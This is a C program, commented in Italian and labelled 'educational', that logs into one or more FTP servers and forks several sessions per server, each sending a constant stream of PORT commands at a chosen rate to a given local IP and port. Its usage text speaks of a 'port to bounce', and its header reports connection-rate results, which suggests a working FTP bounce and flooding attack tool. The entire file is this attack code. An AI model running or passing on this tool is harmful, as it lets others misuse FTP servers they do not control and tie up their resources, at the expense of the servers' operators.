/*
        L'autore non e' conosciuto e comunque non si assume alcuna
        responsabilita' per l'utilizzo di questo programma che viene
        distribuito senza alcuna garanzia e per puri scopi educativi.
        Tale programma e' distribuito sotto la licenza GPL presente
        all'url: http://www.gnu.org/licenses/gpl.html

        Benchmark:
        3 servers, 3 instances per server, 10 connections/second,
        2 dropped on 632 :)
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/time.h>

#define ONESEC 1000000 /* usecs :) */
#define ANONPWD "modella@lamozzerlla.fastweb.sux"

unsigned long int
resolv(char *host)
{
        unsigned long int ip;
        struct hostent *he;

        ip = inet_addr(host);
        if(ip != -1)
                return ip;
        he = gethostbyname(host);
        if(he != NULL) {
                memcpy(&ip, he->h_addr, sizeof(unsigned long int));
                return ip;
        }

        fprintf(stderr, "Cannot resolve %s\n", host);
        perror("gethostbyname");
}

int /* -1: EOF, 0: not endline, 1: endline */
ftp_readline(char *buf, int maxsz)
{
        int islast = 0;

        if(!fgets(buf, maxsz, stdin))
                return -1;
        if(buf[3] == ' ')
                islast = 1;
        while(!strchr(buf, '\n'))
                if(!fgets(buf, maxsz, stdin))
                        return islast;
        return islast;
}

int
ftp_connect(char *host, int port)
{
        int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        struct sockaddr_in sin;

        if(s<0)
        {
                perror("socket");
                return -1;
        }
        sin.sin_family = AF_INET;
        sin.sin_port = htons(port);
        sin.sin_addr.s_addr = resolv(host);
        if(sin.sin_addr.s_addr == -1) {
                close(s);
                return -1;
        }
        if(connect(s, (struct sockaddr *)&sin, sizeof(sin))<0)
        {
                perror("connect");
                close(s);
                return -1;
        }
        return s;
}

int
ftp_status(char *s)
{
        char p[5];

        memcpy(p, s, 4);
        p[4] = 0;

        return atoi(p);
}

int
ftp_login(char *u, char *p)
{
        char buf[4096];
        int r;

        while(!(r = ftp_readline(buf,sizeof(buf))))
                ;

        if(r < 0)
        {
                fprintf(stderr, "Error reading from socket..\n");
                return -1;
        }
        printf("USER %s\r\n", u); fflush(stdout);
        if((r = ftp_readline(buf, sizeof(buf)))<0) {
                fprintf(stderr, "Error reading from socket..\n");
                return -1;
        }
        if(ftp_status(buf) == 230)
                return 0;
        if(ftp_status(buf) != 331) {
                fprintf(stderr, "Error logging in : %s\n", buf);
                return -1;
        }
        if(!r) {
                while(!(r = ftp_readline(buf, sizeof(buf))))
                        ;
                if(r < 0)
                        fprintf(stderr, "Error reading from socket...:%s\n",
                                buf);
                return -1;
        }
        printf("PASS %s\r\n", p); fflush(stdout);
        if((r = ftp_readline(buf, sizeof(buf)))<0) {
                fprintf(stderr, "Error reading from socket..\n");
                return -1;
        }
        if(ftp_status(buf) == 230) {
                if(!r)
                        while(!(r = ftp_readline(buf, sizeof(buf))))
                                ;
                return 0;
        }
        fprintf(stderr, "Error loggin in: %s\n", buf);
        return -1;
}

void
splitip(char *host, int *v)
{
        struct in_addr tmp;
        char *stmp, *q;

        tmp.s_addr = resolv(host);
        stmp = strdup(inet_ntoa(tmp));
        q = strtok(host, "."); v[0] = atoi(q);
        q = strtok(NULL, "."); v[1] = atoi(q);
        q = strtok(NULL, "."); v[2] = atoi(q);
        q = strtok(NULL, "."); v[3] = atoi(q);
        free(stmp);
}

int
ftp_port(int ip[4], int port)
{
        char dummy[1024];
        int i;

        printf("SYST\r\n");
        printf("PORT %u,%u,%u,%u,%u,%u\r\n",
                ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF);
#ifdef VERBOSE
        fprintf(stderr, "PORT %u,%u,%u,%u,%u,%u\r\n",
                ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF);
#endif

        fflush(stdout);
        if(ftp_readline(dummy, sizeof(dummy))<0)
                return -1;
        else return 0;
};

int
create_instances(int num, char *host, int fport,
        char *u, char *p, int *lip, int port, int pps)
{
        int masterpid = getpid(), new;

        while(num)
        {
                new = fork();
                if(new == 0)
                        return childmain(host,fport,u,p,lip,port);
                usleep(ONESEC/3);
                num--;
        }
}

int
main(int argc,char **argv)
{
        int c;
        int port = -1,anonymous=0, ftpport=21,instances=3,hostnum=0,
                pps = 4;
        char *host[256], *pass=NULL, *local=NULL, *user = NULL, *s;
        int local_ip[4];

        while((c = getopt(argc, argv, "i:hu:p:aH:P:L:S:r:"))!=EOF)
        switch(c)
        {
                case 'r':
                        pps = atoi(optarg);
                        break;
                case 'i':
                        instances = atoi(optarg);
                        break;
                case 'u':
                        user = optarg;
                        break;
                case 'p':
                        pass = optarg;
                        break;
                case 'H':
                        if(hostnum==256) {
                                printf("No more space\n");
                                break;
                        }
                        host[hostnum++] = optarg;
                        break;
                case 'a':
                        anonymous = 1; break;
                case 'P':
                        port = atoi(optarg); break;
                case 'L':
                        local = optarg; break;
                case 'h':
                default:
                        printf("Usage: %s [-h][-u username -p password][-a][-H host][-P port_to_open][-L localhost]\n", argv[0]);
                        printf("\t-h this help\n");
                        printf("\t-u username for ftp\n");
                        printf("\t-p password for ftp\n");
                        printf("\t-H ftp host\n");
                        printf("\t-L your local ip\n");
                        printf("\t-P the port to bounce\n");
                        printf("\t-a use anonymous ftp\n");
                        printf("\t-r number of PORT commands to send for each server any second\n");
                        printf("\t-i number of session for ftp\n");
                        printf("You can specify MORE -H switches.\n");
                        exit(1);
                        break;
        }
        if(!anonymous && (!user||!pass))
        {
                printf("User and/or password missing AND anonymous mode not specified\n");
                exit(1);
        }
        if(!host || port <0)
        {
                printf("FTP host or port not specified\n");
                exit(1);
        }

        splitip(local, local_ip);
        if(anonymous) {
                user = "anonymous";
                pass = ANONPWD;
        }
        for(c = 0; c<hostnum; ++c)
        {
                create_instances(instances,
                host[c],ftpport,user,pass,local_ip,port, pps);
        }

        exit(0);
}

int
childmain(char *host, int ftpport, char *user, char *pass, int *local_ip,
                int port, int pps)
{

        int c, d = 0, a;

        while(1) {

        if((c = ftp_connect(host,ftpport))<0 && !d)
                exit(1);
        else while(c < 0) {
                        c = ftp_connect(host, ftpport);
                        sleep(1);
                }
        fprintf(stderr, "+ Connected...\n");
        dup2(c, 0);
        dup2(c, 1);
        if((a = ftp_login(user, pass))<0 && !d) {
                shutdown(c, 2);
                close (c);
                exit(1);
        } else while(a<0) {
                        a = ftp_login(user, pass);
                        sleep(1);
                }
        fprintf(stderr, "+ Logged in...\n");
        d++;
        while(1)
        {
                //fprintf(stderr, "+ Sending...\n");
                usleep(ONESEC/pps);
                if(ftp_port(local_ip, port)<0) {
                        shutdown(c, 2);
                        close(c);
                        break;
                }
        }
        }
}
